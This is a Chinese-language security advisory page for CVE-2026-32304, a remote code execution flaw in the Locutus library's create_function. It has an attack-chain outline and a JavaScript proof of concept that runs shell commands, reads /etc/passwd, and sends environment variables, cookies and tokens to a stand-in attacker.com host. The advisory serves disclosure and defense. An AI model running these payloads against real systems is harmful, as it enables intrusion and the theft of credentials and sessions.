IPBUF安全漏洞报告
English
CVE-2026-32304 CVSS 9.8 严重

CVE-2026-32304: Locutus create_function远程代码执行漏洞

披露日期: 2026-03-13

漏洞信息

漏洞编号
CVE-2026-32304
漏洞类型
远程代码执行
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Locutus (locutusjs/locutus)

相关标签

CVE-2026-32304远程代码执行LocutusJavaScriptFunction构造函数输入验证缺失CVSS 9.8代码注入RCENode.js

漏洞概述

Locutus是一个将其他编程语言的标准库移植到JavaScript的教育性项目。2026年3月13日,安全研究人员发现Locutus在3.0.14之前的版本中存在严重的远程代码执行漏洞。该漏洞源于create_function(args, code)函数将两个参数直接传递给JavaScript的Function构造函数,完全没有任何输入消毒处理。攻击者可以通过构造恶意的args和code参数,在受害者的浏览器或Node.js环境中执行任意JavaScript代码。由于该漏洞的CVSS评分高达9.8,属于极其严重的危急漏洞,攻击复杂度低且无需任何认证或用户交互即可利用。此漏洞影响v3.x分支,与之前披露的CVE-2026-29091(CVE-2026-29091涉及v2.x的call_user_func_array使用eval())属于同一项目的不同漏洞点。官方已在3.0.14版本中修复了此安全问题。

技术细节

该漏洞的核心问题在于create_function函数的实现方式。在Locutus的v3.x分支中,create_function函数接收两个参数:args(函数参数列表)和code(函数体代码)。问题代码直接将这两个参数拼接后传递给JavaScript的new Function()构造函数。例如,当用户调用create_function('args', 'code')时,代码内部可能执行类似new Function(args, code)的操作。由于没有任何输入验证或过滤,攻击者可以在code参数中注入任意JavaScript代码。不同于eval()的直接执行,new Function()创建的是一个函数对象,但如果配合适当的调用(如立即执行),同样可以导致代码执行。攻击者可以利用此漏洞执行系统命令、窃取敏感数据、修改应用逻辑或进行进一步的内网渗透。由于该漏洞无需认证且可通过网络利用,对所有使用受影响版本Locutus的应用构成严重威胁。

攻击链分析

STEP 1
1. 信息收集
攻击者识别目标应用是否使用Locutus库且版本低于3.0.14,通过代码分析或错误信息泄露发现create_function函数的存在
STEP 2
2. 漏洞探测
攻击者向目标应用发送包含恶意参数的请求,测试create_function函数是否可被调用以及参数是否被直接传递给Function构造函数
STEP 3
3. Payload构造
根据目标环境(Node.js或浏览器),攻击者构造针对性的恶意代码payload,如命令执行、文件读写或数据窃取代码
STEP 4
4. 漏洞利用
通过HTTP请求、API调用或其他输入点,将恶意payload作为create_function的code参数传递,触发new Function()执行任意代码
STEP 5
5. 持久化控制
成功执行初始代码后,攻击者可植入后门、建立持久化连接或横向移动到其他系统
STEP 6
6. 数据窃取
利用代码执行能力窃取敏感数据,包括环境变量、配置文件、数据库凭证、用户会话信息等

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2026-32304 PoC - Locutus create_function Remote Code Execution // Affected versions: Locutus < 3.0.14 // Simulating vulnerable create_function implementation function vulnerable_create_function(args, code) { // Vulnerable: Direct use of Function constructor without sanitization return new Function(args, code); } // PoC 1: Basic RCE via create_function try { const maliciousFunc = vulnerable_create_function('', 'return require("child_process").execSync("whoami")'); console.log('[PoC 1] Executing command...'); console.log('Result:', maliciousFunc()); } catch (e) { console.log('[PoC 1] Error:', e.message); } // PoC 2: Read arbitrary files via Node.js try { const fileReadFunc = vulnerable_create_function('', 'return require("fs").readFileSync("/etc/passwd", "utf8")'); console.log('[PoC 2] Reading /etc/passwd...'); console.log('Content:', fileReadFunc().substring(0, 200)); } catch (e) { console.log('[PoC 2] Error:', e.message); } // PoC 3: Exfiltrate environment variables try { const envExfilFunc = vulnerable_create_function('', 'const exfil = JSON.stringify(process.env); require("https").request({hostname:"attacker.com",path:"/collect?data="+encodeURIComponent(exfil)}); return "Environment exfiltrated";'); console.log('[PoC 3] Environment exfiltration...'); console.log('Result:', envExfilFunc()); } catch (e) { console.log('[PoC 3] Error:', e.message); } // PoC 4: Web context - Steal cookies/localStorage try { const webExfilFunc = vulnerable_create_function('', 'fetch("https://attacker.com/steal?cookie="+document.cookie+"&local="+localStorage.getItem("token"));'); console.log('[PoC 4] Web context exfiltration...'); webExfilFunc(); } catch (e) { console.log('[PoC 4] Error:', e.message); } console.log('[!] This PoC demonstrates the RCE vulnerability in Locutus create_function'); console.log('[!] Fix: Upgrade to Locutus v3.0.14 or later');

影响范围

Locutus v3.x < 3.0.14

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时缓解措施:1) 在应用层实现输入过滤,禁止create_function函数接收包含危险关键字的输入;2) 使用正则表达式过滤'require'、'process'、'eval'、'Function'等危险函数调用;3) 在Web应用前部署WAF规则拦截可疑请求;4) 限制create_function的调用权限,仅允许受信任的内部调用;5) 监控应用日志中的异常模式。但这些措施仅为临时解决方案,根本修复必须升级到3.0.14版本。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表